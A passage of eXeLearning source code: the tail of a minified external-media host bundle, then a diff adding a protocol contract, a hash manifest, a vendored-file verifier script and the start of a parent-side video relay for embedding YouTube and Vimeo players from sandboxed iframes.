L,S,de,D,ce,N,fe,U,me,pe,ve,X=E({"src/shared/external-media/providers/registry.ts"(){ue(),L={passive:{supported:!0,sandbox:B,allow:V,referrerPolicy:q},controlled:{supported:!1},facade:{posterStrategy:"none"}},S=/^[A-Za-z0-9_-]{11}$/,de=C({id:"youtube",hosts:["youtube.com","youtu.be","youtube-nocookie.com"],resourceIdPattern:S,kind:"video",parse(e){var t,o,n,a;const u=e.hostname.toLowerCase().replace(/\.$/,"");let c="";return Ye(u,"youtu.be")?c=(t=e.pathname.split("/").filter(Boolean)[0])!=null?t:"":c=(a=(n=e.searchParams.get("v"))!=null?n:(o=e.pathname.match(/^\/(?:embed|v|shorts)\/([^/?#]+)/))==null?void 0:o[1])!=null?a:"",S.test(c)?{provider:"youtube",resourceId:c,kind:"video"}:null},buildCanonicalEmbedUrl(e){return S.test(e)?`https://www.youtube-nocookie.com/embed/${e}`:null}},L),D=/^[0-9]{6,12}$/,ce=C({id:"vimeo",hosts:["vimeo.com"],resourceIdPattern:D,kind:"video",parse(e){var t,o,n;const a=(n=(o=(t=e.pathname.match(/^\/video\/([0-9]+)/))==null?void 0:t[1])!=null?o:e.pathname.split("/").filter(Boolean)[0])!=null?n:"";return D.test(a)?{provider:"vimeo",resourceId:a,kind:"video"}:null},buildCanonicalEmbedUrl(e){return D.test(e)?`https://player.vimeo.com/video/${e}`:null}},L),N=/^[A-Za-z0-9]{5,}$/,fe=C({id:"dailymotion",hosts:["dailymotion.com","dai.ly"],resourceIdPattern:N,kind:"video",parse(e){var t,o,n,a;const u=(a=(n=(t=e.pathname.match(/^\/embed\/video\/([A-Za-z0-9]+)/))==null?void 0:t[1])!=null?n:(o=e.pathname.match(/^\/video\/([A-Za-z0-9]+)/))==null?void 0:o[1])!=null?a:"";return N.test(u)?{provider:"dailymotion",resourceId:u,kind:"video"}:null},buildCanonicalEmbedUrl(e){return N.test(e)?`https://www.dailymotion.com/embed/video/${e}`:null}},L),U=/^[A-Za-z0-9]{8,}$/,me=C({id:"mediateca-madrid",hosts:["mediateca.educa.madrid.org"],resourceIdPattern:U,kind:"video",parse(e){var t,o;const n=(o=(t=e.pathname.match(/^\/video\/([A-Za-z0-9]+)(?:\/fs)?\/?$/))==null?void 0:t[1])!=null?o:"";return U.test(n)?{provider:"mediateca-madrid",resourceId:n,kind:"video"}:null},buildCanonicalEmbedUrl(e){return U.test(e)?`https://mediateca.educa.madrid.org/video/${e}/fs`:null}},L),pe=[de,ce,fe,me],ve=new Map(pe.map(e=>[e.id,e]))}});function ye(e){return typeof e=="object"&&e!==null}function Z(e,t,o){return typeof e=="number"&&Number.isFinite(e)&&e>=t&&e<=o}function he(e){return Z(e,0,Ee)}function _e(e){return Z(e,-F,F)}function ge(e){return Z(e,0,F)}function be(e,t){return ye(e)&&e.type===t}function Ve(e){return!(!ye(e)||typeof e.id!="string"||e.id.length===0||e.id.length>128||!_e(e.x)||!_e(e.y)||!ge(e.w)||!ge(e.h)||e.provider!==void 0&&typeof e.provider!="string"||e.objectId!==void 0&&typeof e.objectId!="string"||e.url!==void 0&&typeof e.url!="string")}function qe(e){return!be(e,k)||!Se(e.action)?!1:e.action==="sync"?!Array.isArray(e.embeds)||e.embeds.length>we?!1:e.embeds.every(Ve):!0}function ze(e){if(!be(e,A)||e.v!==O||!De(e.action))return!1;switch(e.action){case"open":{if(!Number.isInteger(e.reqId)||!(e.start===void 0||e.start===null||he(e.start))||typeof e.provider!="string"||typeof e.videoId!="string")return!1;const t=z(e.provider);return!!t&&t.resourceIdPattern.test(e.videoId)}case"seek":return he(e.t);case"getCurrentTime":case"getDuration":return Number.isInteger(e.reqId);default:return!0}}var Ee,we,F,xe=E({"src/shared/external-media/protocol/schemas.ts"(){X(),T(),Ee=1e6,we=64,F=1e5}});function Xe(e){if(typeof e!="object"||e===null)return!1;const t=e;return t.type===A&&t.v===O&&t.action==="hello"&&typeof t.helloId=="string"&&t.helloId.length>0}function Ze(e){const{contentWindow:t,createChannel:o,onCommand:n,onTeardown:a}=e;let u=null;function c(){var r,l;if(!u)return;const i=u;u=null,i.port.onmessage=null,a==null||a(i),(l=(r=i.port).close)==null||l.call(r)}function s(r){var l,i;const f=o(),v={helloId:r,port:f.port1};u=v,f.port1.onmessage=g=>{u===v&&ze(g==null?void 0:g.data)&&n(v,g.data)},(i=(l=f.port1).start)==null||i.call(l),t.postMessage({type:A,v:O,action:"welcome",helloId:r},"*",[f.port2])}return{handleWindowMessage(r){!r||r.source!==t||Xe(r.data)&&(u==null?void 0:u.helloId)!==r.data.helloId&&(c(),s(r.data.helloId))},current:()=>u,teardown:c}}var Ge=E({"src/shared/external-media/media/session.ts"(){T(),xe()}});function Je(e){const{contentWindow:t,doc:o,win:n,origin:a,translate:u,createChannel:c}=e;let s=null,r=null,l=!1;const i=Ze({contentWindow:t,createChannel:c,onCommand:P,onTeardown:()=>v()});function f(m,d){m.port.postMessage(C({type:A,v:O},d))}function v(){r==null||r.destroy(),r=null,s==null||s.close(),s=null}function g(m,d){const y=He(d.provider);if(!y){f(m,{action:"error",code:"unsupported_provider",fatal:!0});return}v();const h=Ne({doc:o,translate:u,onClose:()=>{r==null||r.destroy(),r=null,s=null,f(m,{action:"closed"})}});s=h,r=Fe({container:h.body(),doc:o,win:n,dialect:y,videoId:d.videoId,origin:a,start:d.start,autoplay:d.autoplay,on:{ready:_=>f(m,{action:"ready",duration:_}),play:()=>f(m,{action:"play"}),pause:()=>f(m,{action:"pause"}),ended:()=>f(m,{action:"ended"}),error:_=>f(m,{action:"error",code:_,fatal:!1}),time:(_,b)=>{typeof _!="number"||typeof b!="number"||b<=0||f(m,{action:"timeupdate",currentTime:_,duration:b})}}})}function P(m,d){var y,h;if(l)return;const _=d;switch(_.action){case"open":g(m,_);return;case"play":r==null||r.play();return;case"pause":r==null||r.pause();return;case"seek":r==null||r.seek(_.t);return;case"hide":s==null||s.hide();return;case"show":s==null||s.show();return;case"close":r==null||r.destroy(),r=null,s==null||s.close(),s=null;return;case"getCurrentTime":f(m,{action:"state",reqId:_.reqId,currentTime:(y=r==null?void 0:r.currentTime())!=null?y:0});return;case"getDuration":f(m,{action:"state",reqId:_.reqId,duration:(h=r==null?void 0:r.duration())!=null?h:0});return;default:return}}function p(m){l||i.handleWindowMessage(m)}return n.addEventListener("message",p),{detach(){l||(l=!0,n.removeEventListener("message",p),v(),i.teardown())}}}var Ke=E({"src/shared/external-media/media/media-host.ts"(){T(),Ue(),je(),We(),Ge()}});function Qe({doc:e,win:t,frameFor:o}){const n=new Map,a=new Map,u=(s,r)=>`${s}::${r}`;function c(s){var r;const l=n.get(s);if(l)return l;const i=e.createElement("div");return i.setAttribute("class",Pe),Object.assign(i.style,{position:"absolute",overflow:"hidden",pointerEvents:"none",zIndex:"2147483646"}),(r=e.body)==null||r.appendChild(i),n.set(s,i),i}return{measureFrame(s){const r=o(s);return r?r.getBoundingClientRect():null},isFrameObscured(s){var r,l,i;const f=o(s);if(!f)return!0;const v=f.getBoundingClientRect();if(v.width<=0||v.height<=0)return!0;const g=(r=t.innerWidth)!=null?r:0,P=(l=t.innerHeight)!=null?l:0,p=Math.max(v.left,0),m=Math.max(v.top,0),d=Math.min(v.left+v.width,g),y=Math.min(v.top+v.height,P);if(d<=p||y<=m)return!1;const h=(i=e.elementFromPoint)==null?void 0:i.call(e,(p+d)/2,(m+y)/2);if(!h||h===f)return!1;for(const _ of a.values())if(h===_)return!1;return!0},setOverlayHidden(s,r){c(s).style.display=r?"none":""},scrollOffset(){var s,r,l,i,f,v;return{x:(l=(r=t.pageXOffset)!=null?r:(s=e.documentElement)==null?void 0:s.scrollLeft)!=null?l:0,y:(v=(f=t.pageYOffset)!=null?f:(i=e.documentElement)==null?void 0:i.scrollTop)!=null?v:0}},positionOverlay(s,r){const l=c(s);l.style.left=`${r.left}px`,l.style.top=`${r.top}px`,l.style.width=`${r.width}px`,l.style.height=`${r.height}px`},mountPlayer(s,r,l){const i=e.createElement("iframe");i.setAttribute(j,"1"),l.sandbox!==void 0&&i.setAttribute("sandbox",l.sandbox),i.setAttribute("allow",l.allow),i.setAttribute("referrerpolicy",l.referrerPolicy),l.allowFullscreen&&i.setAttribute("allowfullscreen",""),Object.assign(i.style,{position:"absolute",border:"0",pointerEvents:"auto"}),i.setAttribute("src",l.src),c(s).appendChild(i),a.set(u(s,r),i)},positionPlayer(s,r,l){const i=a.get(u(s,r));i&&(i.style.left=`${l.left}px`,i.style.top=`${l.top}px`,i.style.width=`${l.width}px`,i.style.height=`${l.height}px`)},unmountPlayer(s,r){var l;const i=u(s,r),f=a.get(i);f&&((l=f.parentNode)==null||l.removeChild(f),a.delete(i))},postToFrame(s,r){var l,i;(i=(l=o(s))==null?void 0:l.contentWindow)==null||i.postMessage(r,"*")}}}var j,Pe,et=E({"src/shared/external-media/host/dom-overlay-adapter.ts"(){j="data-exe-embed-player",Pe="exe-embed-overlay"}});function tt(){const e=new Map;let t=0;function o(n,a,u){return{handle:n,source:a,contentSrc:u,welcomed:!1,lastRect:null,players:[]}}return{register(n,a){for(const[c,s]of e)if(s.source===n)return e.set(c,o(c,n,a)),c;const u=`frame-${++t}`;return e.set(u,o(u,n,a)),u},unregister(n){e.delete(n)},resolve(n){if(n==null)return null;for(const a of e.values())if(a.source===n)return a;return null},get(n){var a;return(a=e.get(n))!=null?a:null},welcome(n){const a=e.get(n);a&&(a.welcomed=!0)},invalidate(n,a){const u=e.get(n);u&&e.set(n,o(n,u.source,a!=null?a:u.contentSrc))},setLastRect(n,a){const u=e.get(n);u&&(u.lastRect=a)},setPlayers(n,a){const u=e.get(n);u&&(u.players=a)},all(){return[...e.values()]}}}var rt=E({"src/shared/external-media/host/frame-registry.ts"(){}});function Ie(e,t){return{left:e.left+t.x,top:e.top+t.y,width:e.width,height:e.height}}function nt(e,t){return e?e.left!==t.left||e.top!==t.top||e.width!==t.width||e.height!==t.height:!0}function ot(e,t){return{left:e.x,top:e.y,width:Math.min(e.w,t.width),height:Math.min(e.h,t.height)}}function at(e,t){const o=new Map(e.map(s=>[s.id,s])),n=[],a=[],u=[],c=new Set;for(const s of t){c.add(s.embed.id);const r=o.get(s.embed.id);if(!r){n.push(s);continue}if(r.src!==s.url){u.push(r.id),n.push(s);continue}a.push(s)}for(const s of e)c.has(s.id)||u.push(s.id);return{toCreate:n,toReposition:a,toRemove:u}}var lt=E({"src/shared/external-media/host/overlay-geometry.ts"(){}});function it(e){return e.kind==="video"?{src:e.url,sandbox:B,allow:V,referrerPolicy:q,allowFullscreen:!0}:e.sameOrigin?{src:e.url,allow:"fullscreen",referrerPolicy:"no-referrer",allowFullscreen:!1}:{src:e.url,sandbox:"allow-same-origin",allow:"fullscreen",referrerPolicy:"no-referrer",allowFullscreen:!1}}var st=E({"src/shared/external-media/host/player-descriptor.ts"(){ue()}});function H(e){return(e||"").toLowerCase().replace(/\.$/,"")}function ut(e){return!!(!e||e==="localhost"||/\.localhost$/.test(e)||/\.local$/.test(e)||e.startsWith("[")||e.includes(":")||/^\d{1,3}(\.\d{1,3}){3}$/.test(e))}function dt(e,t){const o=H(e),n=H(t);return n?o===n||o.endsWith(`.${n}`)||n.endsWith(`.${o}`):!1}function Ce(e,t){if(e.protocol!=="https:"||e.username||e.password||e.origin===t.origin)return!1;const o=H(e.hostname);return!(ut(o)||dt(o,t.hostname))}function ct(e){try{return new URL(e).href.replace(/[^/]*([?#].*)?$/,"")}catch(t){return""}}function ft(e){var t,o;return(o=(t=String(e).match(/[a-f0-9]{12,}/i))==null?void 0:t[0])!=null?o:null}function mt(e,t){const o=ct(t);if(o&&e.href.startsWith(o))return!0;const n=ft(t);return!!(n&&e.pathname.includes(`/${n}/`))}function pt(e,t,o,n={}){let a;try{a=new URL(e)}catch(u){return null}if(a.username||a.password)return null;if(/\.pdf$/i.test(a.pathname))return a.origin===o.origin?mt(a,t)?{url:a.href,kind:"pdf",sameOrigin:!0}:null:Ce(a,o)?{url:a.href,kind:"pdf"}:null;if(n.strict){const u=H(a.hostname);if(n.allowlist&&!n.allowlist.includes(u)||a.protocol!=="https:")return null;for(const c of["youtube","vimeo","dailymotion","mediateca-madrid"]){const s=z(c);if(!(s!=null&&s.hosts.some(i=>u===i||u.endsWith(`.${i}`))))continue;const r=s.parse(a);if(!r)return null;const l=s.buildCanonicalEmbedUrl(r.resourceId);return l?{url:l,kind:"video"}:null}return null}return Ce(a,o)?{url:a.href,kind:"video"}:null}var vt=E({"src/shared/external-media/host/url-policy.ts"(){X()}});function yt(e){var t;return e.provider&&e.objectId?Be(e.provider,e.objectId):(t=e.url)!=null?t:null}function ht(e){var t=e,{location:o,registry:n,adapter:a}=t,u=Le(t,["location","registry","adapter"]);function c(r){var l,i,f;(f=a.setOverlayHidden)==null||f.call(a,r,(i=(l=a.isFrameObscured)==null?void 0:l.call(a,r))!=null?i:!1)}function s(r,l,i){var f;const v=a.measureFrame(r);if(!v)return;c(r),a.positionOverlay(r,Ie(v,a.scrollOffset())),n.setLastRect(r,v);const g=[],P=new Map;for(const d of l){const y=yt(d);if(!y)continue;const h=pt(y,i,o,u);h&&(g.push({embed:d,url:h.url}),P.set(d.id,h))}const p=n.get(r),m=at((f=p==null?void 0:p.players)!=null?f:[],g);for(const d of m.toRemove)a.unmountPlayer(r,d);for(const d of m.toCreate){const y=P.get(d.embed.id);y&&a.mountPlayer(r,d.embed.id,it(y))}for(const d of[...m.toCreate,...m.toReposition])a.positionPlayer(r,d.embed.id,ot(d.embed,v));n.setPlayers(r,g.map(d=>({id:d.embed.id,src:d.url})))}return{attach(r,l){return n.register(r,l)},detach(r){var l;const i=n.get(r);for(const f of(l=i==null?void 0:i.players)!=null?l:[])a.unmountPlayer(r,f.id);n.unregister(r)},handleMessage(r){const l=n.resolve(r==null?void 0:r.source);if(!l)return;const i=r.data;if(!(!i||i.type!==k)){if(i.action==="hello"){n.welcome(l.handle),a.postToFrame(l.handle,{type:k,action:"welcome"});return}if(i.action==="sync"){if(!l.welcomed||!qe(i))return;s(l.handle,i.embeds,l.contentSrc)}}},requestSync(r){const l=r===void 0?n.all():[n.get(r)];for(const i of l)i&&a.postToFrame(i.handle,{type:k,action:"request"})},checkDrift(){let r=0;for(const l of n.all()){const i=a.measureFrame(l.handle);i&&(c(l.handle),nt(l.lastRect,i)&&(a.positionOverlay(l.handle,Ie(i,a.scrollOffset())),n.setLastRect(l.handle,i),r+=1))}return r},notifyNavigated(r,l){var i;const f=n.get(r);for(const v of(i=f==null?void 0:f.players)!=null?i:[])a.unmountPlayer(r,v.id);n.invalidate(r,l)}}}var _t=E({"src/shared/external-media/host/host-runtime.ts"(){T(),xe(),lt(),st(),vt(),X()}});function Me(e,t={}){const o=tt(),n=new Map,a=new Map,u=Qe({doc:e.document,win:e,frameFor:p=>{var m;return(m=n.get(p))!=null?m:null}});let c=null,s=null,r=!1;function l(p){var m,d,y,h;if(!p||o.resolve(p))return;const _=(y=(d=(m=e.document).getElementsByTagName)==null?void 0:d.call(m,"iframe"))!=null?y:[];for(let b=0;b<_.length;b+=1){const w=_[b];if(w.contentWindow===p){if((h=w.getAttribute)!=null&&h.call(w,j))return;g(w);return}}}function i(p){const m=p!=null?p:{};c&&l(m.source),c==null||c.handleMessage(m)}function f(){if(r)return;r=!0;const p=()=>{r=!1,c==null||c.checkDrift()};e.requestAnimationFrame?e.requestAnimationFrame(p):p()}function v(){var p,m,d,y,h,_,b,w,x,I;return c||(c=ht(C(C({location:{origin:(m=(p=e.location)==null?void 0:p.origin)!=null?m:"",hostname:(y=(d=e.location)==null?void 0:d.hostname)!=null?y:""},registry:o,adapter:u},t),t.location?{location:t.location}:{})),(h=e.addEventListener)==null||h.call(e,"message",i),(_=e.addEventListener)==null||_.call(e,"scroll",f,!0),(b=e.addEventListener)==null||b.call(e,"resize",f),(w=e.addEventListener)==null||w.call(e,"transitionend",f,!0),(x=e.addEventListener)==null||x.call(e,"animationend",f,!0),s=(I=e.setInterval)==null?void 0:I.call(e,()=>c==null?void 0:c.checkDrift(),ke),c)}function g(p){var m,d;const y=v(),h=y.attach(p.contentWindow,(m=p.src)!=null?m:"");n.set(h,p);const _=()=>{var b,w;const x=(b=p.src)!=null?b:"";((w=o.get(h))==null?void 0:w.contentSrc)!==x&&y.notifyNavigated(h,x)};return(d=p.addEventListener)==null||d.call(p,"load",_),a.set(h,_),h}function P(p){var m;const d=n.get(p),y=a.get(p);d&&y&&((m=d.removeEventListener)==null||m.call(d,"load",y)),c==null||c.detach(p),n.delete(p),a.delete(p)}return{attach(p){const m=g(p);return{detach:()=>P(m)}},scan(){var p,m,d,y;const h=(d=(m=(p=e.document).getElementsByTagName)==null?void 0:m.call(p,"iframe"))!=null?d:[],_=new Set(n.values());let b=0;for(let w=0;w<h.length;w+=1){const x=h[w];(y=x.getAttribute)!=null&&y.call(x,j)||_.has(x)||(g(x),b+=1)}return v().requestSync(),b},reflow(){c==null||c.checkDrift()},clear(){for(const p of o.all()){for(const m of p.players)u.unmountPlayer(p.handle,m.id);o.setPlayers(p.handle,[])}},dispose(){var p,m,d,y,h,_;for(const b of[...n.keys()])P(b);(p=e.removeEventListener)==null||p.call(e,"message",i),(m=e.removeEventListener)==null||m.call(e,"scroll",f,!0),(d=e.removeEventListener)==null||d.call(e,"resize",f),(y=e.removeEventListener)==null||y.call(e,"transitionend",f,!0),(h=e.removeEventListener)==null||h.call(e,"animationend",f,!0),s!==null&&((_=e.clearInterval)==null||_.call(e,s)),s=null,c=null}}}function Oe(e,t){var o,n;const a=e;return Je({contentWindow:t.contentWindow,doc:e.document,win:e,origin:(n=(o=e.location)==null?void 0:o.origin)!=null?n:"",translate:u=>{var c,s;return(s=(c=a._)==null?void 0:c.call(a,u))!=null?s:u},createChannel:()=>new a.MessageChannel})}function gt(e,t={}){const o=Te(t);e.exeExternalMediaHost={create:(u={})=>Me(e,u),attachMedia:u=>Oe(e,u)};const n={attach(u){const c=Oe(e,u);return{detach:()=>c.detach()}}};e.exeMediaHost=ee(n,"exeMediaHost","window.exeExternalMediaHost.attachMedia(iframe)",o);const a={init(u={}){const c=Me(e,{strict:u.mode==="strict",allowlist:u.whitelist});return c.scan(),{clear:()=>c.clear(),reflow:()=>c.reflow(),dispose:()=>c.dispose(),init(){return c.scan(),this}}}};e.exeEmbedRelay=ee(a,"exeEmbedRelay","window.exeExternalMediaHost.create()",o)}var ke,bt=E({"src/shared/external-media/host-entry.ts"(){$e(),Ke(),et(),rt(),_t(),ke=300}}),Et=Re({"src/shared/external-media/host-bundle.ts"(){bt(),typeof window!="undefined"&&gt(window)}});Et()})();
diff --git a/js/exe_external_media/exe-external-media.contract.json b/js/exe_external_media/exe-external-media.contract.json
new file mode 100644
index 0000000..a7569d6
--- /dev/null
+++ b/js/exe_external_media/exe-external-media.contract.json
@@ -0,0 +1,61 @@
+{
+    "libraryProtocol": 1,
+    "protocol": {
+        "type": "exe-media",
+        "version": 1,
+        "commands": [
+            "close",
+            "getCurrentTime",
+            "getDuration",
+            "hide",
+            "open",
+            "pause",
+            "play",
+            "seek",
+            "show"
+        ],
+        "events": [
+            "closed",
+            "ended",
+            "error",
+            "pause",
+            "play",
+            "ready",
+            "seeked",
+            "state",
+            "timeupdate"
+        ]
+    },
+    "providers": [
+        {
+            "id": "dailymotion",
+            "sampleCanonicalUrl": "https://www.dailymotion.com/embed/video/x8abc12"
+        },
+        {
+            "id": "mediateca-madrid",
+            "sampleCanonicalUrl": "https://mediateca.educa.madrid.org/video/abcd1234/fs"
+        },
+        {
+            "id": "vimeo",
+            "sampleCanonicalUrl": "https://player.vimeo.com/video/76979871"
+        },
+        {
+            "id": "youtube",
+            "sampleCanonicalUrl": "https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ"
+        }
+    ],
+    "handshake": {
+        "childToHost": [
+            "hello",
+            "sync"
+        ],
+        "hostToChild": [
+            "welcome",
+            "request"
+        ]
+    },
+    "sandbox": {
+        "video": "allow-scripts allow-same-origin allow-popups allow-forms allow-presentation",
+        "crossOriginPdf": "allow-same-origin"
+    }
+}
diff --git a/js/exe_external_media/exe-external-media.manifest.json b/js/exe_external_media/exe-external-media.manifest.json
new file mode 100644
index 0000000..aee6b5f
--- /dev/null
+++ b/js/exe_external_media/exe-external-media.manifest.json
@@ -0,0 +1,18 @@
+{
+    "libraryVersion": "1.0.0",
+    "protocolVersion": 1,
+    "buildHash": "43c776daa551fd770b6dade520629362e5a8ca8745e4245c359447c4689b34d6",
+    "sourceCommit": "3bee9769e",
+    "files": {
+        "child": {
+            "path": "exe-external-media-child.min.js",
+            "sha256": "2b5466f3bcc66e1f793f7b15b75f2912b602cc383ae6031a8fa7a8f77ceedc8e",
+            "bytes": 12973
+        },
+        "host": {
+            "path": "exe-external-media-host.min.js",
+            "sha256": "3bb1cd19df99f8a981315fdeafafe26e4ad42ad0ca92995e257ccebdf7146f49",
+            "bytes": 25539
+        }
+    }
+}
diff --git a/js/exe_external_media/verify.mjs b/js/exe_external_media/verify.mjs
new file mode 100644
index 0000000..b14a736
--- /dev/null
+++ b/js/exe_external_media/verify.mjs
@@ -0,0 +1,129 @@
+/**
+ * Verify a VENDORED copy of the eXeLearning external-media distribution.
+ *
+ * This is the consumer's tool, and it ships inside the distribution itself — for the same
+ * reason the licence banner does: a check that lives only in eXeLearning's repository is
+ * no check at all to whoever received the files.
+ *
+ * It answers a different question from eXeLearning's own build verifier, which is why the
+ * two are not one file. Ours asks "is this distribution well-formed?" — size budgets,
+ * contract and protocol agreement, reproducibility against a fresh build. A consumer
+ * cannot ask that; it has no build to compare against. It asks "are these the bytes
+ * eXeLearning published, unmodified since?", which is answerable from the manifest alone.
+ *
+ * Deliberately dependency-free and plain ESM: it must run under `node` in a PHP plugin's
+ * CI with no toolchain, no install step and no package.json.
+ *
+ *   node exe_external_media/verify.mjs [dir] [--build-hash <hash>]
+ *
+ * INTEGRITY vs PROVENANCE. Without `--build-hash` this proves only that nothing was edited
+ * after vendoring: a consistent forgery — file and digests changed together — is easy to
+ * produce, and the build hash inside the copy cannot detect a copy that was built with it.
+ * Pass the hash eXeLearning published for the release you meant to vendor, obtained out of
+ * band, and the check becomes one of provenance.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+import { createHash } from 'node:crypto';
+import { existsSync, readFileSync, statSync } from 'node:fs';
+import { join } from 'node:path';
+
+export const MANIFEST_FILE = 'exe-external-media.manifest.json';
+
+/** ADR-2199-09. Checked on the received bytes, because that is where it has to be. */
+export const EXPECTED_GRANT = 'SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later';
+
+const sha256 = contents => createHash('sha256').update(contents, 'utf8').digest('hex');
+
+/**
+ * @param {string} dir directory holding the vendored artifacts and their manifest
+ * @param {{expectBuildHash?: string}} [options] the build hash published for the release
+ *        you meant to vendor; supply it to check provenance, not just integrity
+ * @returns {string[]} human-readable problems; empty means the copy is good
+ */
+export function verifyVendoredArtifacts(dir, options = {}) {
+    const manifestPath = join(dir, MANIFEST_FILE);
+    if (!existsSync(manifestPath)) {
+        return [`manifest is missing: expected ${MANIFEST_FILE} in ${dir}`];
+    }
+
+    let manifest;
+    try {
+        manifest = JSON.parse(readFileSync(manifestPath, 'utf8'));
+    } catch (error) {
+        return [`manifest is not readable JSON: ${manifestPath} (${error.message})`];
+    }
+    if (!manifest || typeof manifest.files !== 'object' || manifest.files === null) {
+        return [`manifest has no file list: ${manifestPath}`];
+    }
+
+    const problems = [];
+
+    for (const [key, record] of Object.entries(manifest.files)) {
+        const artifactPath = join(dir, record.path);
+        if (!existsSync(artifactPath)) {
+            problems.push(`${key}: artifact is missing (${record.path})`);
+            continue;
+        }
+
+        const contents = readFileSync(artifactPath, 'utf8');
+        if (sha256(contents) !== record.sha256) {
+            problems.push(
+                `${key}: sha256 mismatch — ${record.path} was modified after it was vendored. ` +
+                    'Change eXeLearning core and re-vendor; a local edit here is invisible upstream.',
+            );
+        }
+        if (typeof record.bytes === 'number' && statSync(artifactPath).size !== record.bytes) {
+            problems.push(`${key}: size mismatch — manifest says ${record.bytes}`);
+        }
+        if (!contents.includes(EXPECTED_GRANT)) {
+            problems.push(`${key}: the dual-licence grant is missing from ${record.path}`);
+        }
+    }
+
+    // The digest list is itself covered, so editing a file and its digest together does
+    // not produce a manifest that agrees with itself.
+    const recomputed = sha256(
+        Object.keys(manifest.files)
+            .sort()
+            .map(key => `${key}:${manifest.files[key].sha256}`)
+            .join('\n'),
+    );
+    if (manifest.buildHash !== recomputed) {
+        problems.push('buildHash does not match the manifest file list — the manifest was edited by hand');
+    }
+
+    if (options.expectBuildHash && manifest.buildHash !== options.expectBuildHash) {
+        problems.push(
+            `buildHash is not the build you expected — vendored ${manifest.buildHash}, ` +
+                `expected ${options.expectBuildHash}`,
+        );
+    }
+
+    return problems;
+}
+
+/* c8 ignore start -- CLI wrapper; the behaviour above is what is tested */
+if (process.argv[1] && import.meta.url.endsWith(process.argv[1].split('/').pop())) {
+    const args = process.argv.slice(2);
+    const hashIndex = args.indexOf('--build-hash');
+    const expectBuildHash = hashIndex !== -1 ? args[hashIndex + 1] : undefined;
+    const dir = args.find(a => !a.startsWith('--') && a !== expectBuildHash) ?? process.cwd();
+
+    const problems = verifyVendoredArtifacts(dir, { expectBuildHash });
+    if (problems.length) {
+        console.error(`[exe-external-media] ${dir} did NOT verify:`);
+        for (const problem of problems) console.error(`  - ${problem}`);
+        process.exit(1);
+    }
+    console.log(`[exe-external-media] ${dir} verified.`);
+}
+/* c8 ignore stop */
diff --git a/js/exe_media_host.js b/js/exe_media_host.js
new file mode 100644
index 0000000..39505e4
--- /dev/null
+++ b/js/exe_media_host.js
@@ -0,0 +1,586 @@
+/**
+ * exe-media-host — reference PARENT-side relay for the eXeLearning external-media bridge.
+ *
+ * Host plugins (Moodle, WordPress, Procomún, …) include this one file on the trusted page
+ * that embeds an eXeLearning package inside an opaque-origin sandboxed iframe. It lets the
+ * package's YouTube/Vimeo videos play (which they cannot do inside the opaque frame) by:
+ *
+ *   - completing the capability handshake announced by the child runtime (window identity
+ *     + per-view nonce + a transferred MessageChannel port),
+ *   - opening an accessible <dialog> with the real provider player on the trusted side, and
+ *   - relaying a tiny, validated set of media commands/events over the private port.
+ *
+ * Security: the relay NEVER trusts `event.origin` (it is the string "null"). The only
+ * window-level message accepted is the child's `welcome`-triggering `hello`, gated by
+ * `event.source === iframe.contentWindow`. Steady-state media traffic flows only over the
+ * private port. The child sends just `{provider, videoId}`; the relay reconstructs the
+ * canonical URL from a fixed per-provider template (never a child-supplied URL).
+ *
+ * Classic browser script (no ES module syntax); depends on the shared `exeMediaPolicy`.
+ *
+ * mod_exelearning VARIANT (DEC-80-07): vendored from eXeLearning's exe-media-host.js, but the
+ * provider adapters drive the player by RAW postMessage (YouTube enablejsapi=1, Vimeo api=1)
+ * instead of the YouTube IFrame Player API / Vimeo Player SDK, so the trusted Moodle page
+ * never loads third-party player script (erseco). The handshake, accessible modal and the
+ * command/event relay are otherwise unchanged. The child runtime (exe_media_bridge.js +
+ * exe_media_policy.js, baked into the package by eXeLearning) is unmodified; the interactive
+ * video iDevice already speaks this contract (window.exeMediaBridge.openMedia → controller).
+ * Canonical upstream: exelearning/public/app/common/exe_media_bridge/.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function (root) {
+    'use strict';
+
+    var policy = root.exeMediaPolicy;
+    var TYPE = policy.TYPE;
+    var VERSION = policy.VERSION;
+
+    function tr(key) {
+        return typeof root._ === 'function' ? root._(key) : key;
+    }
+
+    function isThenable(v) {
+        return v && typeof v.then === 'function';
+    }
+
+    function genNonce(opts) {
+        if (opts && typeof opts.genId === 'function') return opts.genId();
+        if (root.crypto && typeof root.crypto.randomUUID === 'function') return root.crypto.randomUUID();
+        return 'n-' + Math.random().toString(36).slice(2);
+    }
+
+    function makeChannel(opts) {
+        if (opts && typeof opts.channelFactory === 'function') return opts.channelFactory();
+        return new MessageChannel();
+    }
+
+    function getInterval(opts) {
+        return {
+            set: (opts && opts.setInterval) || (root.setInterval ? root.setInterval.bind(root) : function () {}),
+            clear: (opts && opts.clearInterval) || (root.clearInterval ? root.clearInterval.bind(root) : function () {}),
+        };
+    }
+
+    // ---- Raw-postMessage provider adapters (NO YouTube IFrame API / Vimeo SDK) ----------
+    // mod_exelearning controls the promoted player by posting the providers' documented
+    // postMessage commands straight to the player iframe and parsing its event messages, so
+    // the trusted Moodle page never loads third-party player SDK script (erseco, DEC-80-07).
+    // Both providers use JSON-STRING messages. The host polls getCurrentTime()/getDuration()
+    // every 250ms to emit timeupdate; these adapters keep those values fresh from the
+    // player's pushed infoDelivery (YouTube) / timeupdate (Vimeo) events. Adapters are still
+    // injectable (opts.youtubeFactory / opts.vimeoFactory) for tests.
+
+    function num(v) {
+        return typeof v === 'number' && isFinite(v) ? v : undefined;
+    }
+
